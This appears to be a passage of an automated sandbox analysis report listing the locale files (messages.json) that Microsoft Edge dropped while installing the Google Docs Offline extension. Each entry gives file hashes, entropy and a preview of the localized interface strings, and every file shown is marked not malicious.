SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7520_413620397\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
